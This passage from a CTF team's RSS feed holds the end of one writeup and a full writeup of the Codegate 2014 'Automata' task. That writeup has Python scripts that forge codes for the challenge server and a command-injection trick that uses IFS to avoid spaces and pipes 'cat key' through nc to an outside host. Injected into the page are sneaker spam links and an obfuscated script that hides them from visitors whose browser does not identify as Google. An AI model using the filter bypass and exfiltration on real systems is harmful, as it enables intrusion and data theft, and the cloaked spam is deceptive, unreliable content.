byte[] arrayOfByte2 = localCipher.doFinal(arrayOfByte1);&lt;/pre&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;4) В итоге получается картинка с ключом:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/neoquest_2014_original.jpeg&quot; alt=&quot;&quot; width=&quot;640&quot; height=&quot;190&quot;&gt;&lt;/p&gt;&lt;p&gt;Ключ:&lt;strong&gt; 1a0d37c6878202010b617c58c3184bfe&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.mysneakers.org/&quot;&gt;Mysneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.fitforhealth.eu/cdafshop/online/air-jordan-1-low-white-black-midnight-navy-for-sale/&quot;&gt;Air Jordan 1 Low White/Black-Midnight Navy For Sale – Fitforhealth&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Tue, 04 Mar 2014 09:36:31 +0000</pubDate>
 <dc:creator>Dor1s</dc:creator>
 <guid isPermaLink="false">34 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/34#comments</comments>
</item>
<item>
 <title>Automata</title>
 <link>https://ctfcrew.org/writeup/27</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/14&quot;&gt;Codegate CTF Preliminary 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;==========================================&lt;/p&gt;&lt;p&gt;OS : Ubuntu 13.10 x86&lt;/p&gt;&lt;p&gt;IP : 58.229.183.18 / TCP 8181&lt;/p&gt;&lt;p&gt;http://58.229.183.26/files/automata_7329666edefb3754ec91b7316e61bb7d&lt;/p&gt;&lt;p&gt;==========================================&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I&#039;ve started with &lt;em&gt;nc 58.229.183.18 8181&amp;nbsp;&lt;/em&gt;and recieved this conversation:&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[=] Welcome to Automata System [=]&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[*] Enter your command: abc&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[*] Enter your code: 1234&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;[!] Wrong code&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Server asks me a command and some code for this command. So i have to go deeper. I downloaded and reversed binary from link. After some digging, i&#039;ve found function with code:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata1.png&quot; alt=&quot;&quot; width=&quot;350&quot; height=&quot;185&quot;&gt;&lt;/p&gt;&lt;p&gt;And vars&#039; declaration:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata9.png&quot; alt=&quot;&quot; width=&quot;256&quot; height=&quot;316&quot;&gt;&lt;/p&gt;&lt;p&gt;I&#039;m in function that recieves my command and code, i think &lt;em&gt;sub_113B&lt;/em&gt; just prints something and &lt;em&gt;sub_116C&lt;/em&gt; reads. Inside:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;em&gt;sub_113B:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata2.png&quot; alt=&quot;&quot; width=&quot;310&quot; height=&quot;140&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;Like i said, it&#039;s just send string to you,&lt;/p&gt;&lt;p&gt;and&amp;nbsp;&lt;em&gt;sub_116C:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata3.png&quot; alt=&quot;&quot; width=&quot;256&quot; height=&quot;114&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;It reads string, but it cuts your string after first occurrence of space, \t, \r, \n, &#039;, &quot;. Just keep it in the mind, and now go further.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Sub_1339:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata4.png&quot; alt=&quot;&quot; width=&quot;420&quot; height=&quot;257&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;This function generates 3 int numbers for string (for command in this case), and sum of all numbers &amp;nbsp;is equal to 43. Go more further:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata5.png&quot; alt=&quot;&quot; width=&quot;525&quot; height=&quot;392&quot;&gt;&lt;/p&gt;&lt;p&gt;This part of main function checks code, which i send to server. For all bytes of a code it evaluates a number. A bit more detailed evaluation in assembler listing:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata6.png&quot; alt=&quot;&quot; width=&quot;220&quot; height=&quot;237&quot;&gt;&lt;/p&gt;&lt;p&gt;It converts byte of code to 0xFF or to 0x00, depends on highest bit, then adds byte of code to result, then cuts of high-word of result and substructs 0xFF or 0x00. I rewrite this evaluation in following code:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;em&gt;highest = 0x80 &amp;amp; code&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;if (highest)&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;mask = 0xFF&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;else&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;padding-left: 30px;&quot;&gt;&lt;em&gt;mask = 0x00&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;result = (mask+code) &amp;amp; 0x0F - mask&lt;/em&gt;&lt;/p&gt;&lt;p&gt;So if highest bit code&#039;s byte is zero, then result is just low-word of code&#039;s byte! It&#039;s main idea. As we can see above, the result of this evaluation is compared to 1,2 and 3. If it is equal to 1,2 or 3 corresponding value will be incremented, if it&#039;s not equal, then function &lt;em&gt;sub_1229&lt;/em&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata7.png&quot; alt=&quot;&quot; width=&quot;198&quot; height=&quot;83&quot;&gt;&lt;/p&gt;&lt;p&gt;And we get &lt;em&gt;&quot;Wrong code&quot;&lt;/em&gt; message.. The easiest way is to use bytes 0x01, 0x02 and 0x03 in a code, and result of evaluation always will be 1,2 or 3.&lt;/p&gt;&lt;p&gt;&amp;nbsp;Next part of main function:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata8.png&quot; alt=&quot;&quot; width=&quot;262&quot; height=&quot;113&quot;&gt;&lt;/p&gt;&lt;p&gt;If you return to begining, you&#039;ll see, that v13,v14,v15 lay sequentially in the memory,and v13 sent to s&lt;em&gt;ub_1339 &lt;/em&gt;as argument, that will recieve 3 int numbers, so v13,v14 and v15 will hold 3 numbers for command. And, as you can see, code for command must contain as many 0x01 bytes as first number of result of sub_1339, as many 0x02 bytes as second number and as many 0x03 bytes as third. Totally code consists of 43 bytes. For example: command = &quot;ls&quot;, result of sub_1339: 18,17,8, so you you can send: &lt;em&gt;&quot;0x01&quot;*18 + &quot;0x02&quot;*17 + &quot;0x03&quot;*8 + &quot;\n&quot;&amp;nbsp;&lt;/em&gt;via python and get &quot;Verifying your code&quot; message. Below is python script generating code for any command:&lt;/p&gt;&lt;pre class=&quot;brush: as3; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#!/usr/bin/env python
from socket import create_connection
from time import sleep


def func(s):
    buf = 0
    for c in s[::-1]:
        buf = (37 * (buf + ord(c))) % 2**32
    v2 = buf % 17 + 1
    v3 = (buf &amp;amp; 0xF) + 1
    v1 = 43 - v2 - v3
    return v1, v2, v3


if __name__ == &quot;__main__&quot;:

    command=&quot;ls&quot;
    res = func(command)

    print res

    code = &quot;\x01&quot; * res[0]
    code += &quot;\x02&quot; * res[1]
    code += &quot;\x03&quot; * res[2]
    code += &quot;\n&quot;

    con = create_connection((&#039;58.229.183.18&#039;, 8181))
    print con.recv(1024)
    print con.recv(1024)
    con.send(command)
    sleep(0.1)

    print con.recv(1024)
    con.send(code)
    sleep(0.1)

    print con.recv(1024)
    exit(0)
&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Bad news everyone. Verifying is only starting.. and what did all checks above?... But we have no choice, let&#039;s go further.&lt;/p&gt;&lt;p&gt;Next block of code repeats with some changes 8 times:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata10.png&quot; alt=&quot;&quot; width=&quot;405&quot; height=&quot;367&quot;&gt;&lt;/p&gt;&lt;p&gt;Program opens several pipes, binds it to numbers, forks itself, then child will looping forever and parent will close several pipes. &amp;nbsp;Also parent gives some pipes for read to child (from 1 to 5 in each block), child calls 2 functions:&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_11B:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata11.png&quot; alt=&quot;&quot; width=&quot;252&quot; height=&quot;273&quot;&gt;&lt;/p&gt;&lt;p&gt;This sub just prints a percents on screen. Child reads a number from pipe and prints it like a part of 43 in percents.&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_127F:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata12.png&quot; alt=&quot;&quot; width=&quot;600&quot; height=&quot;480&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;This sub gets code, number and signal (will be discussed later) and 3 pipes to write. It checks byte of a code (like before with shifting), and sends incremented buffer to first pipe if byte&#039;s result is equal to 1, and etc. Sub checks only one byte of a code: code[buf]. And if buf == 43 child sends signal to parent.&lt;/p&gt;&lt;p&gt;So, each child reads numbers from pipes. Checks corresponding byte of code and write incremented number to a pipe (so next child process will check next byte of code). If code ends (buf==43) , child send signal to parent. There are two types of signal: 10 and 12. Childs form #0 to #6 will send signal 10 and child #7 will send 12. At the end of main function:&lt;img src=&quot;/sites/default/files/writeups/images/automata13.png&quot; alt=&quot;&quot; width=&quot;176&quot; height=&quot;114&quot;&gt;&lt;/p&gt;&lt;p&gt;So parent set handlers for signal 10 and 12, sends buf to pipe (buf was set to 0 above) and then waiting for childs.&lt;/p&gt;&lt;p&gt;Handler&#039;s code:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata14.png&quot; alt=&quot;&quot; width=&quot;191&quot; height=&quot;277&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_124E:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata15.png&quot; alt=&quot;&quot; width=&quot;201&quot; height=&quot;112&quot;&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sub_1229:&lt;/em&gt; (you also can find it above)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata16.png&quot; alt=&quot;&quot; width=&quot;210&quot; height=&quot;95&quot;&gt;&lt;/p&gt;&lt;p&gt;If parent recieves signal 10, it prints &quot;Registered&quot; and execute command which we have sent to him. So, now we know what we must do:&amp;nbsp;&lt;/p&gt;&lt;p&gt;1) Take a command (&quot;ls&quot; will be good)&lt;/p&gt;&lt;p&gt;2) Evaluate corresponding code for it&lt;/p&gt;&lt;p&gt;3) Find the code that will send signal 10 to parent.&lt;/p&gt;&lt;p&gt;We can perform first two steps, but for the third step we should analyze pipes network.&lt;/p&gt;&lt;p&gt;Just go through &amp;nbsp;all block, carefully analyze all pipes..&lt;/p&gt;&lt;p&gt;When pipe is created, two.. &quot;slots&quot; are created for it. One for reading and one for writing. Slots get sequential handles: fd+1 is a reading slot for first pipe, fd+2 is a writing slot for first pipe, fd+3 is a reading slot for second pipe and so on. Parent process closing not whole pipe, but only some slots, so he can close slots fd+2 and fd+4, and next pipe will be mapped to fd+2 (reading) and fd+4(wrtinig).&lt;/p&gt;&lt;p&gt;In first block slots 1,3,5 were created for reading and 2,4,6 for writing. And slots 1,3,4,6 were given away to child #0 and then were closed. So next pipe will be mapped to 1,3 (read-wrtie). &amp;nbsp;We should keep in mind all connections to recreate network. For example: slot with number connected with slot 6, that was given to child #0, so if someone will read it, he will read output of child #0. But after this block slot #6 is closed, so in next blocks slot #6 will have different meaning and would not be connected to slot #5.&amp;nbsp;&lt;/p&gt;&lt;p&gt;When all blocks had been analyzed we created this table:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata21.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;256&quot;&gt;&lt;/p&gt;&lt;p&gt;First row is a numbers of pipes. There are 20 different pipes. Second row is a read and write slots for each pipe. Next rows correspond to eight childs (c0..c7) and parent process (p). Numbers in cells correspond to numbers that are used in program to mapped slots (fd+1 = 1 and so on). So if in code you find, that child #2 reads fd+4, you can look in table, find row with name &quot;c2&quot;, find number &#039;4&#039; in taht row, and then find write slot in corresponding pipe (marked with color) , and you will see, that child #1 writes into slot fd+6, which is connected to child&#039;s #2 slot fd+4.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Now we can build network scheme:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata17.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;253&quot;&gt;&lt;/p&gt;&lt;p&gt;As you can see, last child, that will send bad signal, send numbers to itself, so it can easly get 43 and send bad signal to parent. So our code should never send numbers to child #7.&lt;/p&gt;&lt;p&gt;And tere is a list of trasitions between childs. They sorted by code&#039;s bytes evaluation result, so first transition occurs, when result is equal to 1, second, when equal to 2, etc:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;img src=&quot;/sites/default/files/writeups/images/automata18.jpg&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;537&quot;&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;And final version of the network:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/automata20.jpg&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;934&quot;&gt;&lt;/p&gt;&lt;p&gt;We can start code with 0x01 and 0x2, and child #0 will send numbers to itself... but how we can handle 0x03 byte? There is cycle 1-2-3-5 in network ( send bytes 0x01, 0x02, 0x03, 0x03 for this cycle) and we must send 0x03 to leave child#0.&lt;/p&gt;&lt;p&gt;Idea of the attack is to burn all 0x03 in cylce above, by performing 0x01, 0x02, 0x03, 0x03 byte sequence. &amp;nbsp;If number of 0x03 bytes is odd we will burn all 0x03 bytes (cos we have to send one 0x03 to leave child #0) if it is even, we should perform additional 0x01, 0x02, 0x03 sequence after. And we can burn all others 0x01 and 0x02 in child #0.&lt;/p&gt;&lt;p&gt;Let a - number of 0x01, b - 0x02 and c - 0x03. We have two attack sequence:&lt;/p&gt;&lt;p&gt;&lt;em&gt;Even-case: &quot;\x01&quot;*(a-c/2) + &quot;\x02&quot;*(b-c/2) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(c/2-1) + &quot;\x01\x02\x03&quot; + &quot;\n&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Odd-case: &quot;\x01&quot;*(a-c/2) + &quot;\x02&quot;*(b-c/2) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(c/2) + &quot;\n&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;There is one problem: if a or b is less than half of c, we will get error, but let&#039;s skip this problem now.&lt;/p&gt;&lt;p&gt;Finally i wrote this script, that can send a valid code to pass verification:&lt;/p&gt;&lt;pre class=&quot;brush: as3; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#!/usr/bin/env python
from socket import create_connection
from time import sleep


def func(s):
    buf = 0
    for c in s[::-1]:
        buf = (37 * (buf + ord(c))) % 2**32
    v2 = buf % 17 + 1
    v3 = (buf &amp;amp; 0xF) + 1
    v1 = 43 - v2 - v3
    return v1, v2, v3


if __name__ == &quot;__main__&quot;:
    command=&quot;ls&quot;
    res = func(command)
    print res

    con = create_connection((&#039;58.229.183.18&#039;, 8181))
    print con.recv(1024)
    print con.recv(1024)
    con.send(command)
    sleep(0.1)

    a, b, c = res
    cc = c / 2
    print con.recv(1024)
    if c % 2 == 0:
        con.send(&quot;\x01&quot;*(a-cc) + &quot;\x02&quot;*(b-cc) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(cc-1) + &quot;\x01\x02\x03&quot; + &quot;\n&quot;)
    else:
        con.send(&quot;\x01&quot;*(a-cc) + &quot;\x02&quot;*(b-cc) + &quot;\x03&quot; + &quot;\x01\x02\x03\x03&quot;*(cc) + &quot;\n&quot;)
    sleep(0.1)


    print con.recv(1024)
    while(1):
        sleep(1)
        ans = con.recv(1024)
        print ans
        if ans.find(&quot;[!]&quot;) != -1:
            exit(0)&lt;/pre&gt;&lt;p&gt;This script results in &quot;[!] Registered&quot; message. So i&#039;d sent &lt;em&gt;&quot;ls | nc myserver myport&quot;&lt;/em&gt; command.. and recieved an wrong code error... Remember the function which recieves my commands.. this function will cut command on space symbol.. so server could not perform commands with spaces... &amp;nbsp;at this point i was stucked and screwed up.. how to send&amp;nbsp;&lt;em&gt;&quot;ls | nc myserver myport&quot;&lt;/em&gt; without spaces, tabs, etc?&lt;/p&gt;&lt;p&gt;There is Internal Field Separator - IFS, if you set IFS to something, system will treat that symbol like separator.&lt;/p&gt;&lt;p&gt;So &lt;em&gt;IFS=_; a = ls_-la; echo ${a}&lt;/em&gt;&amp;nbsp;will performs &quot;ls -la&quot;, cos &#039;_&#039; treats as separator (like space). And the command &lt;em&gt;&quot;IFS=_;a=ls;b=nc_myserver_myport;${a}|${b}&quot;&amp;nbsp;&lt;/em&gt;sends listing of a directory to myserver. There are two files: automata and key. The next command:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&quot;IFS=_;a=cat_key;b=nc_myserver_myport;${a}|${b}&quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;returns:&amp;nbsp;&lt;em&gt;F4ILUrE_Is_N0T_an_O0PtI1On&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Flag:&amp;nbsp;F4ILUrE_Is_N0T_an_O0PtI1On&lt;/strong&gt;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Sports News&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.pochta.uz/en/facghashop/nike-air-max-270/&quot;&gt;Nike Air Max 270 - Deine Größe bis zu 70% günstiger&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Plain text icon&quot; title=&quot;text/plain&quot; src=&quot;/modules/file/icons/text-plain.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/automata.py.txt&quot; type=&quot;text/plain; length=1018&quot;&gt;automata.py.txt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 24 Feb 2014 10:31:25 +0000</pubDate>
 <dc:creator>Triff</dc:creator>
 <guid isPermaLink="false">27 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/27#comments</comments>
</item>
</channel>
</rss>
